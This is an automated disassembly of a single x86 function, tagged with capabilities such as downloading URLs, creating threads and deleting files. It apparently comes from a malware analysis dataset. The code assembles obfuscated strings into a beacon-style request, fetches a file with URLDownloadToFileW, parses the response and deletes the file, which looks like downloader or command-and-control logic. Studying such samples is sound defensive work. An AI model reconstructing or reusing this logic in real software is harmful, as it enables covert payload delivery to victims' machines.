Function at 0x40a450
Capabilities:
Create thread
Delete file
Download url
Parse pe header
Receive data

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x574089
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x180
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x3c], edi
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x40c71b
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x50], eax
push str.Tjk4kVz5L2VzM7kWkw
lea ecx, [ebp - 0x50]
mov dword [ebp - 4], 0
call fcn.0042f750
test al, al
jne 0x40a4d3
push 0x13
push str.Tjk4kVz5L2VzM7kWkw
lea ecx, [ebp - 0x50]
call fcn.0042fa90
mov dword [ebp - 4], 1
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x40c725
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x98], eax
push str.N3lHgV1QWHKSNSxATMiVVhUYmOFEf6IiU
lea ecx, [ebp - 0x98]
mov byte [ebp - 4], 2
call fcn.0042f750
test al, al
jne 0x40a523
push 0x22
push str.N3lHgV1QWHKSNSxATMiVVhUYmOFEf6IiU
lea ecx, [ebp - 0x98]
call fcn.0042fa90
mov byte [ebp - 4], 3
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x40c72f
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x94], eax
push str.MXRs4Z0ERrHg5eWEAUEBUBgzACFcSTCRU
lea ecx, [ebp - 0x94]
mov byte [ebp - 4], 4
call fcn.0042f750
test al, al
jne 0x40a570
push 0x22
push str.MXRs4Z0ERrHg5eWEAUEBUBgzACFcSTCRU
lea ecx, [ebp - 0x94]
call fcn.0042fa90
mov byte [ebp - 4], 5
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x40c739
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x9c], eax
push str.ZmZKmNwAPAJlI5xAzhFxCRQ
lea ecx, [ebp - 0x9c]
mov byte [ebp - 4], 6
call fcn.0042f750
test al, al
jne 0x40a5bd
push 0x18
push str.ZmZKmNwAPAJlI5xAzhFxCRQ
lea ecx, [ebp - 0x9c]
call fcn.0042fa90
mov byte [ebp - 4], 7
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x40c743
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x70], eax
push str.S1A24cycx5RQcUgOVJOIbjQ
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 8
call fcn.0042f750
test al, al
jne 0x40a601
push 0x18
push str.S1A24cycx5RQcUgOVJOIbjQ
lea ecx, [ebp - 0x70]
call fcn.0042fa90
mov byte [ebp - 4], 9
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x40c74d
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa8], eax
push str.RXZCeUgkX9MSYRTHy83
lea ecx, [ebp - 0xa8]
mov byte [ebp - 4], 0xa
call fcn.0042f750
test al, al
jne 0x40a64e
push 0x13
push str.RXZCeUgkX9MSYRTHy83
lea ecx, [ebp - 0xa8]
call fcn.0042fa90
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x128]
push 0x18
xorps xmm0, xmm0
mov dword [ebp - 0x118], 0
push str.OGxLZREgJqOS1XJCCInMWQA
movups xmmword [ebp - 0x128], xmm0
mov dword [ebp - 0x114], 0
call fcn.0042db40
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x188]
push 0x95
xorps xmm0, xmm0
mov dword [ebp - 0x178], 0
push str.Yk1XAeBlvUNggSJb20DFQCIxhHgc_sdUIZGbzgeRBCglsMQwrYOFpYrNnUXUCyl1BQkcpGe1oNUOS4I1B29tSWhIoWJRENmKT4bEAyF1uBR9hGdQsKgIiAn3FSQ5JHA06udUJAGIjEeCBz91YBR8
movups xmmword [ebp - 0x188], xmm0
mov dword [ebp - 0x174], 0
call fcn.0042db40
mov byte [ebp - 4], 0xe
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x40c757
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa0], eax
mov byte [ebp - 4], 0x10
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x40c761
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa4], eax
mov byte [ebp - 4], 0x12
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x40c76b
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
lea esi, [eax + 0x10]
mov dword [ebp - 0x2c], esi
mov byte [ebp - 4], 0x14
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x40c775
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
mov dword [ebp - 0xbc], eax
add eax, 0x10
mov dword [ebp - 0x190], eax
mov byte [ebp - 4], 0x16
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x40c77f
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
mov dword [ebp - 0xb8], eax
add eax, 0x10
mov dword [ebp - 0x18c], eax
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x170]
push 0x13
xorps xmm0, xmm0
mov dword [ebp - 0x160], 0
push str.b08xkdQkuKHw0CCIw
movups xmmword [ebp - 0x170], xmm0
mov dword [ebp - 0x15c], 0
call fcn.0042db40
sub esp, 0x18
mov byte [ebp - 4], 0x18
lea eax, [ebp - 0x170]
mov ecx, esp
push eax
call fcn.0042ef00
lea ecx, [ebp - 0x44]
call fcn.00445650
mov byte [ebp - 4], 0x19
push dword [eax]
lea eax, [ebp - 0xa0]
push dword [edi + 4]
push str._ws_ws
push eax
call fcn.00421db0
mov byte [ebp - 4], 0x18
add esp, 0x28
mov edx, dword [ebp - 0x44]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40a7fe
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push 0x13
xorps xmm0, xmm0
mov dword [ebp - 0x148], 0
push str.RU1EzaQkshNx0MDCQ
lea ecx, [ebp - 0x158]
mov dword [ebp - 0x144], 0
movups xmmword [ebp - 0x158], xmm0
call fcn.0042db40
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x140]
push 0x13
xorps xmm0, xmm0
mov dword [ebp - 0x130], 0
push str.TjBJGRAJRpOjAaQWSQh
movups xmmword [ebp - 0x140], xmm0
mov dword [ebp - 0x12c], 0
call fcn.0042db40
push ecx
mov byte [ebp - 4], 0x1b
mov dword [ebp - 0x14], esp
mov dword [ebp - 0x44], esp
push ecx
mov edi, esp
mov dword [ebp - 0x1c], edi
mov ecx, dword [0x5c4e64]
lea ecx, [ecx - 0x10]
call fcn.0042ee10
mov ecx, dword [ebp - 0x44]
add eax, 0x10
mov dword [edi], eax
call fcn.00445a80
sub esp, 0x18
mov byte [ebp - 4], 0x1c
lea eax, [ebp - 0x158]
mov ecx, esp
push eax
call fcn.0042ef00
mov ecx, edi
call fcn.00445650
add esp, 0x18
mov byte [ebp - 4], 0x1b
mov edx, SysReAllocString
lea ecx, [ebp - 0x18]
call fcn.00448bd0
push dword [eax]
call fcn.005501ef
mov edx, dword [ebp - 0x18]
add esp, 0xc
mov dword [ebp - 0x28], eax
add edx, 0xfffffff0
or ecx, 0xffffffff
lock xadd dword [edx + 0xc], ecx
dec ecx
test ecx, ecx
jg 0x40a8e6
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push ecx
mov dword [ebp - 0x14], esp
mov dword [ebp - 0x44], esp
push ecx
mov edi, esp
mov dword [ebp - 0x1c], edi
mov ecx, dword [0x5c4e64]
lea ecx, [ecx - 0x10]
call fcn.0042ee10
mov ecx, dword [ebp - 0x44]
add eax, 0x10
mov dword [edi], eax
call fcn.00445a80
sub esp, 0x18
mov byte [ebp - 4], 0x1d
lea eax, [ebp - 0x140]
mov ecx, esp
push eax
call fcn.0042ef00
mov ecx, edi
call fcn.00445650
add esp, 0x18
mov byte [ebp - 4], 0x1b
mov edx, SysReAllocString
lea ecx, [ebp - 0x18]
call fcn.00448bd0
push dword [eax]
call fcn.005501ef
mov edx, dword [ebp - 0x18]
add esp, 0xc
mov dword [ebp - 0x44], eax
add edx, 0xfffffff0
or ecx, 0xffffffff
lock xadd dword [edx + 0xc], ecx
dec ecx
test ecx, ecx
jg 0x40a966
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x40c789
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x6c], eax
push str.aWZmaWAESPEigamXEl35GQUHJKBlIwFSwGLFAN36BwkSwMQ8fkOTkZXFjkukW0gWIMBlZMAS0AeAls
lea ecx, [ebp - 0x6c]
mov byte [ebp - 4], 0x1e
call fcn.0042f750
test al, al
jne 0x40a9a6
push 0x4f
push str.aWZmaWAESPEigamXEl35GQUHJKBlIwFSwGLFAN36BwkSwMQ8fkOTkZXFjkukW0gWIMBlZMAS0AeAls
lea ecx, [ebp - 0x6c]
call fcn.0042fa90
mov byte [ebp - 4], 0x1f
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x40c793
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x68], eax
push str.Y2dusMEULHD0MXWDgoN
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x20
call fcn.0042f750
test al, al
jne 0x40a9ea
push 0x13
push str.Y2dusMEULHD0MXWDgoN
lea ecx, [ebp - 0x68]
call fcn.0042fa90
mov byte [ebp - 4], 0x21
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x40c79d
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x88], eax
push str.Qm9NPMWQDsLEI24GyRcrJ1I
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 0x22
call fcn.0042f750
test al, al
jne 0x40aa37
push 0x18
push str.Qm9NPMWQDsLEI24GyRcrJ1I
lea ecx, [ebp - 0x88]
call fcn.0042fa90
mov byte [ebp - 4], 0x23
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x40c7a7
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x74], eax
push str.aTZi4Vk9YRDTUIcVQoz3VA
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 0x24
call fcn.0042f750
test al, al
jne 0x40aa7b
push 0x18
push str.aTZi4Vk9YRDTUIcVQoz3VA
lea ecx, [ebp - 0x74]
call fcn.0042fa90
mov byte [ebp - 4], 0x25
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x40c7b1
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x84], eax
push str.a2cyCQ00CcXCc0OEQ8
lea ecx, [ebp - 0x84]
mov byte [ebp - 4], 0x26
call fcn.0042f750
test al, al
jne 0x40aac8
push 0x13
push str.a2cyCQ00CcXCc0OEQ8
lea ecx, [ebp - 0x84]
call fcn.0042fa90
cmp dword [ebx + 8], 0
mov byte [ebp - 4], 0x27
jne 0x40ac6e
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
push ecx
mov edi, esp
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x14], edi
mov ecx, dword [ebp - 0x74]
add ecx, 0xfffffff0
mov dword [ebp - 0x18], edx
call fcn.0042ee10
add eax, 0x10
lea ecx, [ebp - 0x54]
mov dword [edi], eax
call fcn.00445a80
mov ecx, dword [ebp - 0x3c]
mov byte [ebp - 4], 0x28
mov eax, dword [eax]
mov dword [ebp - 0x48], eax
mov eax, dword [ecx + 8]
mov dword [ebp - 0x14], edi
mov ecx, dword [ebp - 0x84]
mov dword [ebp - 0x4c], eax
lea ecx, [ecx - 0x10]
call fcn.0042ee10
add eax, 0x10
lea ecx, [ebp - 0x58]
mov dword [edi], eax
call fcn.00445a80
mov byte [ebp - 4], 0x29
mov eax, dword [eax]
mov dword [ebp - 0x14], edi
mov ecx, dword [ebp - 0x88]
mov dword [ebp - 0xac], eax
lea ecx, [ecx - 0x10]
call fcn.0042ee10
add eax, 0x10
lea ecx, [ebp - 0x8c]
mov dword [edi], eax
call fcn.00445a80
mov byte [ebp - 4], 0x2a
mov eax, dword [eax]
mov dword [ebp - 0x14], edi
mov ecx, dword [ebp - 0x68]
mov dword [ebp - 0x78], eax
lea ecx, [ecx - 0x10]
call fcn.0042ee10
add eax, 0x10
lea ecx, [ebp - 0x5c]
mov dword [edi], eax
call fcn.00445a80
mov ecx, dword [ebp - 0x3c]
mov byte [ebp - 4], 0x2b
mov eax, dword [eax]
mov dword [ebp - 0x7c], eax
mov eax, dword [ecx]
mov dword [ebp - 0x14], edi
mov ecx, dword [ebp - 0x6c]
mov dword [ebp - 0x80], eax
lea ecx, [ecx - 0x10]
call fcn.0042ee10
add eax, 0x10
lea ecx, [ebp - 0xb0]
mov dword [edi], eax
call fcn.00445a80
add esp, 4
mov byte [ebp - 4], 0x2c
push dword [ebp - 0x18]
push dword [ebp - 0x30]
push dword [ebp - 0x48]
push dword [ebp - 0x4c]
push dword [ebp - 0xac]
push dword [ebp - 0x44]
push dword [ebp - 0x78]
push dword [ebp - 0x28]
push dword [ebp - 0x7c]
push dword [ebp - 0x80]
push dword [eax]
lea eax, [ebp - 0xa4]
push str._ws_ws_ws_d_ws_d_ws_ws_ws_llu
push eax
call fcn.00421db0
mov edx, dword [ebp - 0xb0]
or edi, 0xffffffff
add esp, 0x34
add edx, 0xfffffff0
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40ac0e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x5c]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40ac28
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x8c]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40ac45
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x58]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40ac5f
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x27
mov edx, dword [ebp - 0x54]
add edx, 0xfffffff0
jmp 0x40aeab
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x40c7bb
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x18], eax
push str.S2Y4zVG0AoVyYoHAwU
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 0x2d
call fcn.0042f750
test al, al
jne 0x40acae
push 0x13
push str.S2Y4zVG0AoVyYoHAwU
lea ecx, [ebp - 0x18]
call fcn.0042fa90
push ecx
mov byte [ebp - 4], 0x2e
mov edi, esp
mov dword [ebp - 0x14], edi
mov eax, dword [ebp - 0x18]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x14], eax
call fcn.0042ee10
add eax, 0x10
lea ecx, [ebp - 0x1c]
mov dword [edi], eax
call fcn.00445a80
add esp, 4
mov byte [ebp - 4], 0x2f
mov eax, dword [eax]
mov dword [ebp - 0x54], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
push ecx
mov edi, esp
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x5c], edi
mov ecx, dword [ebp - 0x74]
add ecx, 0xfffffff0
mov dword [ebp - 0x58], edx
call fcn.0042ee10
add eax, 0x10
lea ecx, [ebp - 0x24]
mov dword [edi], eax
call fcn.00445a80
mov ecx, dword [ebp - 0x3c]
mov byte [ebp - 4], 0x30
mov eax, dword [eax]
mov dword [ebp - 0x5c], eax
mov eax, dword [ecx + 8]
mov ecx, dword [ebp - 0x84]
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x80], edi
lea ecx, [ecx - 0x10]
call fcn.0042ee10
add eax, 0x10
lea ecx, [ebp - 0x40]
mov dword [edi], eax
call fcn.00445a80
mov byte [ebp - 4], 0x31
mov ecx, dword [ebp - 0x88]
mov eax, dword [eax]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edi
lea ecx, [ecx - 0x10]
call fcn.0042ee10
add eax, 0x10
lea ecx, [ebp - 0x4c]
mov dword [edi], eax
call fcn.00445a80
mov byte [ebp - 4], 0x32
mov ecx, dword [ebp - 0x68]
mov eax, dword [eax]
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x78], edi
lea ecx, [ecx - 0x10]
call fcn.0042ee10
add eax, 0x10
lea ecx, [ebp - 0x48]
mov dword [edi], eax
call fcn.00445a80
mov ecx, dword [ebp - 0x3c]
mov byte [ebp - 4], 0x33
mov eax, dword [eax]
mov dword [ebp - 0x78], eax
mov eax, dword [ecx]
mov dword [ebp - 0x34], edi
mov ecx, dword [ebp - 0x6c]
mov dword [ebp - 0xac], eax
lea ecx, [ecx - 0x10]
call fcn.0042ee10
add eax, 0x10
lea ecx, [ebp - 0x30]
mov dword [edi], eax
call fcn.00445a80
add esp, 4
push dword [ebx + 8]
mov byte [ebp - 4], 0x34
push dword [ebp - 0x54]
push dword [ebp - 0x58]
push dword [ebp - 0x8c]
push dword [ebp - 0x5c]
push dword [ebp - 0xb0]
push dword [ebp - 0x80]
push dword [ebp - 0x44]
push dword [ebp - 0x7c]
push dword [ebp - 0x28]
push dword [ebp - 0x78]
push dword [ebp - 0xac]
push dword [eax]
lea eax, [ebp - 0xa4]
push str._ws_ws_ws_d_ws_d_ws_ws_ws_llu_ws_lu
push eax
call fcn.00421db0
mov edx, dword [ebp - 0x30]
or edi, 0xffffffff
add esp, 0x3c
add edx, 0xfffffff0
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40ae22
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x48]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40ae3c
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x4c]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40ae56
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x40]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40ae70
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x24]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40ae8a
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x1c]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40aea4
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x27
mov edx, dword [ebp - 0x14]
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40aebf
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edi, dword [ebp - 0xa0]
push 0
push 0
push edi
push dword [ebp - 0xa4]
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
push 0x58bf00
push edi
call fcn.005503e5
add esp, 8
mov dword [ebp - 0x4c], eax
test eax, eax
je 0x40c254
mov edx, eax
lea ecx, [ebp - 0x24]
call fcn.00449000
mov byte [ebp - 4], 0x35
lea ecx, [esi - 0x10]
mov edi, dword [eax]
mov dword [ebp - 0x14], ecx
lea edx, [edi - 0x10]
cmp edx, ecx
je 0x40af5e
mov eax, dword [ecx + 0xc]
lea esi, [ecx + 0xc]
shr eax, 0x1f
test al, al
jne 0x40af4f
mov eax, dword [edx]
cmp eax, dword [ecx]
jne 0x40af4f
mov ecx, edx
call fcn.0042ee10
or edi, 0xffffffff
mov dword [ebp - 0x1c], eax
mov ecx, edi
lock xadd dword [esi], ecx
dec ecx
test ecx, ecx
jg 0x40af47
mov esi, dword [ebp - 0x14]
push esi
mov ecx, dword [esi]
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, dword [ebp - 0x1c]
lea esi, [eax + 0x10]
mov dword [ebp - 0x2c], esi
jmp 0x40af61
push dword [edx + 4]
lea ecx, [ebp - 0x2c]
push edi
call fcn.0042fa90
mov esi, dword [ebp - 0x2c]
or edi, 0xffffffff
mov edx, dword [ebp - 0x24]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40af7b
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, 0x5910fc
mov eax, esi
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40afa8
test dx, dx
je 0x40afa4
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40afa8
add eax, 4
add ecx, 4
test dx, dx
jne 0x40af82
xor eax, eax
jmp 0x40afad
sbb eax, eax
or eax, 1
mov byte [ebp - 4], 0x27
test eax, eax
jne 0x40b0c9
mov edx, dword [ebp - 0x4c]
lea ecx, [ebp - 0x40]
call fcn.00449000
mov edx, dword [ebp - 0x3c]
mov byte [ebp - 4], 0x37
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
add eax, 0xfffffff0
mov ecx, dword [edx + 0x48]
sub ecx, 0x10
mov dword [ebp - 0x1c], ecx
cmp eax, ecx
je 0x40b03d
lea eax, [ecx + 0xc]
mov dword [ebp - 0x14], eax
mov eax, dword [eax]
shr eax, 0x1f
test al, al
jne 0x40b02e
mov eax, dword [ebp - 0x20]
mov eax, dword [eax - 0x10]
cmp eax, dword [ecx]
jne 0x40b02e
mov ecx, dword [ebp - 0x20]
lea ecx, [ecx - 0x10]
call fcn.0042ee10
mov edx, dword [ebp - 0x14]
mov ecx, edi
mov dword [ebp - 0x24], eax
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x40b023
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [eax]
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x3c]
add eax, 0x10
mov dword [ecx + 0x48], eax
jmp 0x40b03d
mov ecx, dword [ebp - 0x20]
push dword [ecx - 0xc]
push ecx
lea ecx, [edx + 0x48]
call fcn.0042fa90
mov edx, dword [ebp - 0x40]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b057
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edi, dword [ebp - 0x3c]
mov ecx, 0x5910fc
mov eax, dword [edi + 0x48]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40b088
test dx, dx
je 0x40b084
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40b088
add eax, 4
add ecx, 4
test dx, dx
jne 0x40b062
xor eax, eax
jmp 0x40b08d
sbb eax, eax
or eax, 1
mov byte [ebp - 4], 0x27
test eax, eax
jne 0x40b0aa
mov eax, edi
lea ecx, [edi + 0x48]
push 0
push 0x5911fc
mov byte [eax + 0x1a], 0
call fcn.0042fa90
mov edi, dword [ebp - 0x50]
push dword [ebp - 0x4c]
call fcn.005506e3
add esp, 4
push dword [ebp - 0xa0]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x40c40c
mov ecx, 0x58bf04
mov eax, esi
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40b0f6
test dx, dx
je 0x40b0f2
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40b0f6
add eax, 4
add ecx, 4
test dx, dx
jne 0x40b0d0
xor eax, eax
jmp 0x40b0fb
sbb eax, eax
or eax, 1
mov byte [ebp - 4], 0x27
test eax, eax
jne 0x40b954
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x40c7c5
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x18], eax
push 0x5911fc
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 0x3a
call fcn.0042f750
test al, al
jne 0x40b147
push 0
push 0x5911fc
lea ecx, [ebp - 0x18]
call fcn.0042fa90
mov byte [ebp - 4], 0x3b
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x40c7cf
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x28], eax
push 0x5911fc
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x3c
call fcn.0042f750
test al, al
jne 0x40b18b
push 0
push 0x5911fc
lea ecx, [ebp - 0x28]
call fcn.0042fa90
mov byte [ebp - 4], 0x3d
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x40c7d9
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x30], eax
push 0x5911fc
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0x3e
call fcn.0042f750
test al, al
jne 0x40b1cf
push 0
push 0x5911fc
lea ecx, [ebp - 0x30]
call fcn.0042fa90
push ecx
mov byte [ebp - 4], 0x3f
mov edi, esp
mov dword [ebp - 0x34], edi
mov ecx, dword [ebp - 0x98]
lea ecx, [ecx - 0x10]
call fcn.0042ee10
add eax, 0x10
lea ecx, [ebp - 0x24]
mov dword [edi], eax
call fcn.00445a80
mov dword [ebp - 0x14], eax
mov byte [ebp - 4], 0x40
mov dword [ebp - 0x34], edi
mov ecx, dword [ebp - 0x50]
add ecx, 0xfffffff0
call fcn.0042ee10
add eax, 0x10
lea ecx, [ebp - 0x1c]
mov dword [edi], eax
call fcn.00445a80
add esp, 4
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 0x41
mov edx, dword [ebp - 0x14]
push ecx
lea ecx, [ebp - 0x28]
push ecx
lea ecx, [ebp - 0x30]
push ecx
mov ecx, eax
call fcn.00454c90
mov edx, dword [ebp - 0x1c]
or edi, 0xffffffff
add esp, 0xc
add edx, 0xfffffff0
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b253
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x24]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b26d
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x30]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b287
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x28]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b2a1
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x27
mov eax, edi
mov edx, dword [ebp - 0x18]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b2bf
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push 0x18
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 0
call fcn.00549aa4
add esp, 4
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [ebp - 0x64], eax
mov byte [ebp - 4], 0x42
push dword [ebp - 0x4c]
call fcn.00550407
add esp, 4
test eax, eax
jne 0x40b850
nop
mov edx, dword [ebp - 0x4c]
lea ecx, [ebp - 0x24]
call fcn.00449000
mov byte [ebp - 4], 0x43
lea ecx, [esi - 0x10]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], ecx
lea edx, [eax - 0x10]
cmp edx, ecx
je 0x40b370
mov eax, dword [ecx + 0xc]
lea esi, [ecx + 0xc]
shr eax, 0x1f
test al, al
jne 0x40b35f
mov eax, dword [edx]
cmp eax, dword [ecx]
jne 0x40b35f
mov ecx, edx
call fcn.0042ee10
mov dword [ebp - 0x1c], eax
mov ecx, edi
lock xadd dword [esi], ecx
dec ecx
test ecx, ecx
jg 0x40b357
mov esi, dword [ebp - 0x14]
push esi
mov ecx, dword [esi]
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, dword [ebp - 0x1c]
